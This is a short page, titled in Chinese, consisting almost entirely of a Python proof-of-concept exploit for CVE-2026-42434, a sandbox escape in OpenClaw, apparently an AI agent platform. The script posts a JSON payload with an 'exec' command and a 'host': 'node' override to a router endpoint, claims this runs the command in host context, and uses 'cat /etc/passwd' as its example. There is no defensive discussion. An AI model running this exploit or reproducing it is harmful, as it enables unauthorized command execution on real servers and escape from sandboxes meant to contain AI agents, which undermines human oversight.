CVE-2026-42434 OpenClaw沙箱逃逸漏洞

import requests def exploit_sandbox_escape(target_url, command): """ Proof of Concept for CVE-2026-42434 Demonstrates escaping the OpenClaw sandbox by overriding the host parameter. """ session = requests.Session() # Payload exploiting the host=node parameter override payload = { "exec": command, "host": "node" # The vulnerable parameter that bypasses sandbox routing } headers = { "Content-Type": "application/json", "User-Agent": "OpenClaw-Agent/2026.4.5" } try: print(f"[*] Sending payload to {target_url} with command: {command}") response = session.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Command executed on host context.") print("[+] Response:") print(response.text) else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://vulnerable-openclaw-server:8080/api/v1/router" cmd = "cat /etc/passwd" # Example command to verify escape exploit_sandbox_escape(target, cmd)